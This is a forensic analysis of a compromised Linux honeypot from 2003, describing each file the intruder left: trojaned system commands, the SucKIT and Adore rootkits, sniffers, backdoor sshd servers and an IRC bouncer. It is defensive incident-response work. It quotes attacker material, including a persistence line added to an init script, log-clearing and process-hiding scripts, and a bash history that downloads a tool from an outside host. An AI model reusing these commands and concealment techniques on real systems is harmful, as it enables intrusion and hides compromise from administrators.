|
|
/dev/shm/k
|
|
|
|
|
|
ELF executable, it is a exploit of the ptrace vulnerability, to
increase system privileges to uid 0 (root).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/dev/ttyof
|
|
|
|
|
|
d14dd73ee79bd009fc5473852ea55fac ---> 74 bytes <---
Contains the list of processes / strings to hide from the output
of the trojaned 'ps' command. It contains:
psbnc smbd iceconf.h icekey.h icepid.h uptime startwu r00t
Extracted from rk.tar.gz
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/dev/ttyoa
|
|
|
|
|
|
Contains the list of addresses to hide from trojaned 'netstat'
command. Its contents:
1 213.233 1 24.104 1 217.10 1 216 1 193 1 209.118 3 10001 3 10002 3 13064 3 19 3 69 3 6667 4 10001 4 6667 4 10002 4 19 4 69 4 13064
The file was extracted from sk.tar.gz. In particular, the
following connections were hidden: (found with trusted netstat command)
tcp 0 0 192.168.1.79:1149 64.62.96.42:6667 ESTABLISHED 15119/initd tcp 0 0 192.168.1.79:1146 199.184.165.133:6667 ESTABLISHED 15119/initd udp 0 0 192.168.1.79:1029 192.168.1.1:53 ESTABLISHED 15458/sendmail
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/dev/ttyof
|
|
|
|
|
|
Contains the list of strings to hide from trojaned 'ls' command.
It contains:
psbnc smbd iceconf.h icekey.h icepid.h uptime startwu r00t
Extracted from rk.tar.gz
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/dev/hdx1
|
|
|
|
|
|
Empty file. In fact, it is (along with /dev/hdx2) a lock/semaphore
file used by RST.b virus. This proves that several files, as 'sp0' or
'k' are contaminated with RST.b. The string 'GET /~telcom69/gov.php'
inside these files confirms this.
RST.b is a virus that tries to read both on pp0 and eth0 in
promiscuous mode.
See http://www.securityfocus.com/archive/100/247640
for details
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/dev/hdx2
|
|
|
|
|
|
See /dev/hdx1 description
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lib/slocate/slocate.db
|
|
|
|
|
|
slocate database file has been automatically rebuilt.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lib/random-seed
|
|
|
|
|
|
Random seed file for standard sshd server.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lib/logrotate.status
|
|
|
|
|
|
Standard logrotate default state file. Nothing interesting here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/log/wtmp
|
|
|
|
|
|
Empty access log file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/log/secure
|
|
|
|
|
|
Log file that shows:
·
·
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/log/maillog
|
|
|
|
|
|
Log file that shows:
·
·
·
·
·
·
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/log/cron
|
|
|
|
|
|
Shows that /usr/lib/sa/sa1 is executed every 10 minutes (but
fails, see /var/spool/mail/root).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/log/boot.log
|
|
|
|
|
|
Log file. Some facts are showed there:
·
·
·
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/cache/man/whatis
|
|
|
|
|
|
Whatis cache file was rebuilt.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/cache/samba/smbd.pid
|
|
|
|
|
|
Standard pid file for samba server daemon.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/cache/samba/connections.tdb
|
|
|
|
|
|
Standard connections file for samba server daemon.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/cache/samba/nmbd.pid
|
|
|
|
|
|
Standard pid file for netbios server daemon.
Unknown file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lock/subsys/netfs
|
|
|
|
|
|
Empty lock file. Shows that system was started at Aug 9 14:34. No
interest here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lock/subsys/identd
|
|
|
|
|
|
Empty lock file. Shows that system was started at Aug 9 14:34. No
interest here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lock/subsys/xinetd
|
|
|
|
|
|
Empty lock file. Shows that system was started at Aug 9 14:34. No
interest here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lock/subsys/smb
|
|
|
|
|
|
Empty lock file. Shows that system was started at Aug 9 14:34. No
interest here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/lock/subsys/atd
|
|
|
|
|
|
Empty lock file. Shows that system was started at Aug 9 14:34. No
interest here.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/utmp
|
|
|
|
|
|
utmp run file. Shows system boot at Aug 9 14:34 & console root
login one minute later. Nothing new.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/runlevel.dir
|
|
|
|
|
|
Shows that we are in runlevel 3.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/syslogd.pid
|
|
|
|
|
|
Syslogd is PID 3247. Interesting point is that proves that syslog
was restarted at Aug 10 13:33
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/klogd.pid
|
|
|
|
|
|
klogd is PID 3252. Again, the interesting point is that proves
that log system was restarted at Aug 10 13:33
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/apmd.pid
|
|
|
|
|
|
apmd is PID 657. It was started at system boot at Aug 9 14:34. No
hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/identd.pid
|
|
|
|
|
|
identd is PID 677. It was started at system boot at Aug 9 14:34.
No hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/sshd.pid
|
|
|
|
|
|
sshd is PID 699. It was started at system boot at Aug 9 14:34. But
the file was accessed at Aug 10 14:13. Probably hacker or an
automatic program checked for sshd pid.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/xinetd.pid
|
|
|
|
|
|
xinetd is PID 732. It was started at system boot at Aug 9 14:34.
No hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/sendmail.pid
|
|
|
|
|
|
sendmail is PID 759. It was started at system boot at Aug 9 14:34.
No hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/gpm.pid
|
|
|
|
|
|
gpm is PID 778. It was started at system boot at Aug 9 14:34. No
hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/crond.pid
|
|
|
|
|
|
crond is PID 820. It was started at system boot at Aug 9 14:34. No
hacking info here
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/atd.pid
|
|
|
|
|
|
atd is PID 886. It
was started at system boot at Aug 9 14:34. But process is no longer
there.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/httpd.mm.14637.sem
|
|
|
|
|
|
Shows httpd was restarted at Aug 10 15:52, after executing
/root/sslstop/sslport.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/run/httpd.mm.14671.sem
|
|
|
|
|
|
Shows httpd was restarted at Aug 10 15:54.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/spool/mail/root
|
|
|
|
|
|
There are a lot of mails from cron deamon. Every ten minutes, it
tries to run /usr/lib/sa/sa1, but fails, as /var/log/sa/sa10 cannot
be opened.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/spool/anacron/cron.daily
|
|
|
|
|
|
Content shows 10 Aug 2003.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/var/spool/anacron/cron.weekly
|
|
|
|
|
|
Content shows 10 Aug 2003.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/mtab
|
|
|
|
|
|
This file is modified by my initial 'mount /dev/cdrom /mnt/cdrom'
command, needed to access trusted static binaries.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/opt/psyBNC2.3.1.tar.gz
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/opt/psybnc/ & files inside
|
|
|
|
|
|
Extracted files from package above. The configuration file
'psybnc.conf' shows several entries, among them:
PSYBNC.SYSTEM.PORT1=65336 PSYBNC.SYSTEM.PORT2=-100 USER1.USER.LOGIN=sic USER1.USER.NICK=[[[kgb]]] USER1.SERVERS.SERVER1=mesa.az.us.undernet.org USER1.SERVERS.PORT1=6667 USER1.CHANNELS.ENTRY1=#radioactiv USER1.CHANNELS.ENTRY0=#RedCode USER2.USER.LOGIN=redcode USER2.USER.NICK=redcode USER2.SERVERS.SERVER1=mesa.az.us.undernet.org USER2.SERVERS.PORT1=6667 USER2.CHANNELS.ENTRY1=#AiaBuni USER2.CHANNELS.ENTRY0=#RedCode
And with nick 'redcode', into channels #AiaBuni & #RedCode.
The system uses ports 65336 & 65436, apart from standard 6667
IRC port.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/rc.d/init.d/functions
|
|
|
|
|
|
It is the original functions file, but the following line was
added at the end:
/usr/bin/crontabs -t1 -X53 -p
so it starts the trojaned 'crontabs' binary at system startup. It
was modified by script 'install' inside rk.tar.gz
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/rc.d/rc.sysinit
|
|
|
|
|
|
This system file has been modified to load kernel modules, regardless
of configuration, and start kflushd. Doing a ‘diff’ command with a
standard rc.sysinit for RedHat 7.2 gives:
56c56
< if grep -q /initrd /proc/mounts
&& ! grep -q /initrd/loopfs /proc/mounts ; then
---
> if grep -q /initrd /proc/mounts ;
then
439c439
<
action $"Loading sound module ($alias): " modprobe
sound
---
>
action $"Loading sound module ($alias): " modprobe
$alias
444c444
<
action $"Loading sound module ($alias): " modprobe
sound-slot-0
---
>
action $"Loading sound module ($alias): " modprobe
$alias
744,745c735,736
<
[ -r /proc/modules ] && /bin/cat /proc/modules;
<
[ -r /proc/ksyms ] && /bin/cat /proc/ksyms)
>/var/log/ksyms.0
---
>
/bin/cat /proc/modules;
>
/bin/cat /proc/ksyms) >/var/log/ksyms.0
754a746
> kflushd
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/mail/statistics
|
|
|
|
|
|
Standard mail statistics file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/aliases.db
|
|
|
|
|
|
Standard mail aliases file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/adjtime
|
|
|
|
|
|
Standard adjtime file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/samba/secrets.tdb
|
|
|
|
|
|
Standard samba file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/httpd/conf/httpd.conf
|
|
|
|
|
|
httpd configuration file. It has been modified by 'sslstop' &
'sslport' programs (see below), to close the standard SSL port 443
and use 114 instead, under the 'HAVE_SSS' tag instead of 'HAVE_SSL'.
That happened at Aug 10 15:52., and httpd was restarted.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/psdevtab
|
|
|
|
|
|
This file is the configuration file used by the installed trojans
'top' and 'ps'. It is full of tty devices, so it probably lists the
tty's to show info from.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/top
|
|
|
|
|
|
Trojan 'top' command. It uses /dev/psdevtab as configuration file.
Contained in rk.tar.gz, it was instaled at Aug 10 13:33.
The original top binary was moved to /usr/lib/libshift.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/sense
|
|
|
|
|
|
perl script file. The file itself explains its purpose: Sorts the
output from LinSniffer. It was installed at Aug 10 13:33.
Extracted from package rk.tar.gz
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/sl2
|
|
|
|
|
|
Contained in rk.tar.gz package.
ELF Executable. It seems to be a kind of SYN attack tool.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/logclear
|
|
|
|
|
|
Shell script file, it just have four -interesting- lines:
killall -9 /usr/bin/"(swapd)" rm -rf /usr/bin/tcp.log touch /usr/bin/tcp.log "(swapd)" >tcp.log &
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/crontabs
|
|
|
|
|
|
Rootkit file, posing as a system file named 'crontabs'. Contained
in rk.tar.gz, it just executes a 'system("smbd -D")', being
'smbd -D' a file name, not the standard smbd daemon with the -D
option
It is started from /etc/rc.d/init.d/functions as 'crontabs -t1 -X53
-p' (see above). So it basically it is a method of starting the
binary 'smbd -D' without being too noisy.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
//usr/bin/smbd -D
|
|
|
|
|
|
Another sshd file. It is currently running, as showed by ps &
fuser commands.
It uses the configuration file /usr/include/iceconf.h.
Extracted from rk.tar.gz package, its original name was ava1
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/(swapd)
|
|
|
|
|
|
Contained in rk.tar.gz. It is an sniffer program, trying to log
users & passwords. The source for this binary is in kde.c, inside
rk.tar.gz.
It basically sniffs the network, and log users and passwords of
standard services to file '/usr/lib/libice.log'.
Its PID is saved in file /usr/bin/x.pid
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/bin/x.pid
|
|
|
|
|
|
It contains the PID of '(swapd)' sniffer. (see above)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libshtift/netstat
|
|
|
|
|
|
This is the original /bin/netstat file, moved here by the hacker.
That happened at Aug 10 13:33, as reported by modification time.
The deleted & recovered installation script /tmp/sand/install
was the author.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libshtift/ps
|
|
|
|
|
|
This is the original /bin/ps file, moved here by the hacker. That
happened at Aug 10 13:33, as reported by modification time.
The deleted & recovered installation script /tmp/sand/install
was the author.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libshtift/ls
|
|
|
|
|
|
This is the original /bin/ls file, moved here by the hacker. That
happened at Aug 10 13:33, as reported by modification time.
The deleted & recovered installation script /tmp/sand/install
was the author.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libshtift/ifconfig
|
|
|
|
|
|
This is the original /sbin/ifconfig file, moved here by the
hacker. That happened at Aug 10 13:33, as reported by modification
time.
The deleted & recovered installation script /tmp/sand/install
was the author.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libshtift/top
|
|
|
|
|
|
This is the original /usr/bin/top file, moved here by the hacker.
That happened at Aug 10 13:33, as reported by modification time.
The deleted & recovered installation script /tmp/sand/install
was the author.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libsss
|
|
|
|
|
|
Unknown purpose. Contained in rk.tar.gz.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/libice.log
|
|
|
|
|
|
Log file for sniffer in process 3153 /usr/bin/(swapd) (see above).
It just contains an unfinished telnet connection to the honeypot:
proxyscan.undernet.org => 192.168.1.79 [23] ?k
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/adore.o
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/cleaner.o
|
|
|
|
|
|
Part of the Adore rootkit (see above). Downloaded, compiled and
installed with the same script.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/sp0
|
|
|
|
|
|
It is sshd trojan binary, using configuration file
/usr/lib/sp0_cfg.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/sp0_cfg
|
|
|
|
|
|
Configuration file for ssh server daemon in /usr/lib/sp0. It makes
the daemon to listen in port 345, with Host Private key in
/usr/lib/sp0_key, and random seed in /usr/lib/sp0_seed.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/sp0_key
|
|
|
|
|
|
sshd host private key for /usr/lib/sp0. Interesting the string
root@xxxbuck.com inside.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/lib/sp0_seed
|
|
|
|
|
|
sshd random seed file for sshd daemon /usr/lib/sp0.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/include/icekey.h
|
|
|
|
|
|
ssh private key. Interesting string inside:
root@lessons.menchey.com.
Extracted from sk.tar.gz, its original name was 'h'
Used by "smbd -D" binary (see above).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/include/iceconf.h
|
|
|
|
|
|
sshd configuration file. It configures a server running in port
2003, with host key in /usr/include/icekey.h.
Extracted from sk.tar.gz package, its original name was hh. It was
installed by binary program ava1.
Used by "smbd -D" binary (see above).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/include/iceseed.h
|
|
|
|
|
|
ssh random seed file.
Used by "smbd -D" binary (see above).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/usr/include/icepid.h
|
|
|
|
|
|
Shows the PID of the sshd process with configuration files
/usr/include/ice*. It turns out to be process 3137 "smbd
-D".
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/bin/netstat
|
|
|
|
|
|
Trojaned netstat command. It uses the file /dev/ttyoa (see above)
for configuration, hiding connections from certain addresses &
ports.
Contained in rk.tar.gz package
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/bin/ps
|
|
|
|
|
|
Trojaned 'ps' command. It uses the file /dev/ttyop as
configuration file (process to hide from output).
Extracted from rk.tar.gz package.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/bin/ls
|
|
|
|
|
|
Trojaned 'ls' command. It uses the file /dev/ttyof as
configuration file (files to hide from output).
Extracted from rk.tar.gz package.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/bin/pico
|
|
|
|
|
|
Extracted from rk.tar.gz package, seems to be a standard 'pico'
editor. The hacker doesn't seem to like vim :-).
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/hide
|
|
|
|
|
|
Simple Shell script. It hides processes with 'lib/.x', 'xopen' or
'lsn' in its command name, using SuckIT rootkit.
Result is written in hide.log:
#!/bin/sh for i in $(ps aux|grep "/lib/.x"|awk -F " " '{print $2}')do /lib/.x/sk i $i >>/lib/.x/hide.log done for z in $(ps aux|grep xopen|awk -F " " '{print $2}')do /lib/.x/sk i $z >>/lib/.x/hide.log done for x in $(ps aux|grep lsn|awk -F " " '{print $2}')do /lib/.x/sk i $z >>/lib/.x/hide.log done
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/inst
|
|
|
|
|
|
Installation binary for SuckIT rootkit. It creates the 'rk' binary
and moves standard /sbin/init to /sbin/init13996, putting 'rk' as the
new /sbin/init.
But in the honeypot, these actions fail as /sbin/init has the
inmutable bit set.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/log
|
|
|
|
|
|
login executable from SuckIT rootkit.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/cl
|
|
|
|
|
|
Log file cleaner from the same rootkit.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/ip
|
|
|
|
|
|
Unknown purpose file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/s_h_k.pub
|
|
|
|
|
|
Unknown purpose file.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/sshd_config
|
|
|
|
|
|
Configuration file for trojan sshd server in /lib/.x/s/xopen.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/xopen
|
|
|
|
|
|
sshd troyan.
There are TWO instances running: processes 25239 & 25241
One of them is a trojaned ssh server, with a hacker’s password.
The other is a tty sniffer, sending that information through UDP.
But,as SucKIT installation didn’t work, the tty sniffing didn’t also.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/s_h_k
|
|
|
|
|
|
ssh private key file for server in /lib/.x/s/xopen.
Interesting string inside: "root@fred.psiware.net"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/lsn
|
|
|
|
|
|
Linux sniffer. Compressed with UPX (see http://upx.tsx.org).
Its output is send to /lib/.x/s/mfs
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/port
|
|
|
|
|
|
Ascii file, contains 3128. It indicates the TCP port being used by
/lib/.x/s/xopen for a ssh server.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/mfs
|
|
|
|
|
|
Log file of lsn binary (sniffer). It contains register of a few
connections.. Several ftp outgoing connections and one incoming
telnet:
============================================================ Time: Sun Aug 10 15:40:47 Size: 100 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:50 Size: 80 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:40:56 Size: 60 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:08 Size: 40 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 15:41:32 Size: 20 Path: 192.168.1.79 => 63.99.224.38 [21] ------------------------------------------------------------ ============================================================ Time: Sun Aug 10 16:04:13 Size: 44 Path: proxyscan.undernet.org => 192.168.1.79 [23] ------------------------------------------------------------
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/r_s
|
|
|
|
|
|
Random Seed file for ssh server in /lib/.x/s/xopen.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/s/pid
|
|
|
|
|
|
PID file for ssh server in /lib/.x/s/xopen. Shows the PID 25241,
latest running xopen process
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/install.log
|
|
|
|
|
|
log file from /lib/.x/s/xopen (process 25239). It is full of
entries like:
##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/hide.log
|
|
|
|
|
|
Log file for 'hide' script (see above). SucKIT rootkit
installation didn't work, as the file tell us:
##################################################### # SucKIT version 1.3b by Unseen # ##################################################### RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/sk
|
|
|
|
|
|
SuckIT rootkit, version 1.3b., see http://sd.g-art.nl/sk
From its README file:
The SucKIT is easy-to-use, Linux-i386 kernel-based rootkit. The code stays in memory through /dev/kmem trick, without help of LKM support nor System.map or such things. Everything is done on the fly. It can hide PIDs, files, tcp/udp/raw sockets, sniff TTYs. Next, it have integrated TTY shell access (xor+sha1) which can be invoked through any running service on a server. No compiling on target box needed, one binary can work on any of 2.2.x & 2.4.x kernels precompiled (libc-free)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/lib/.x/.boot
|
|
|
|
|
|
Installation script for sucKIT & friends.
In particular, it tries to start the ssh server, the network sniffer
and the tty sniffer, hiding its associated processes. It then mails
this information to skiZophrenia_sick@yahoo.com.
(Un)fortunately it didn't work
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop.tar.gz
|
|
|
|
|
|
sslstop package. It contains the sources for two programs: sslstop
& sslport, that change the httpd configuration, so that http does
no longer use standard ssl port 443, and changes the entry HAVE_SSL
with HAVE_SSS.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop/Makefile
|
|
|
|
|
|
Makefile for the sslstop package. (see above)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop/sslport.c
|
|
|
|
|
|
Source file for the sslport binary.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop/sslstop.c
|
|
|
|
|
|
Source file for the sslstop binary.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop/sslstop
|
|
|
|
|
|
sslstop binary, from the package above.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/root/sslstop/sslport
|
|
|
|
|
|
sslport binary, from the package above.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/sbin/ifconfig
|
|
|
|
|
|
Trojan ifconfig binary. It hides the PROMISC status of the
interface.
Contained in rk.tar.gz package
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/.bash_history
|
|
|
|
|
|
History file. It contains the following commands:
uptime ./inst hostname hostname sbm79.dtc.apu.edu cd /dev/shm/sc ./install sbm79.dtc.apu.edu rm -rf /var/mail/root ps x cd /tmp ls -a wget izolam.net/sslstop.tar.gz ps x ps aux | grep apache kill -9 21510 21511 23289 23292 23302
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|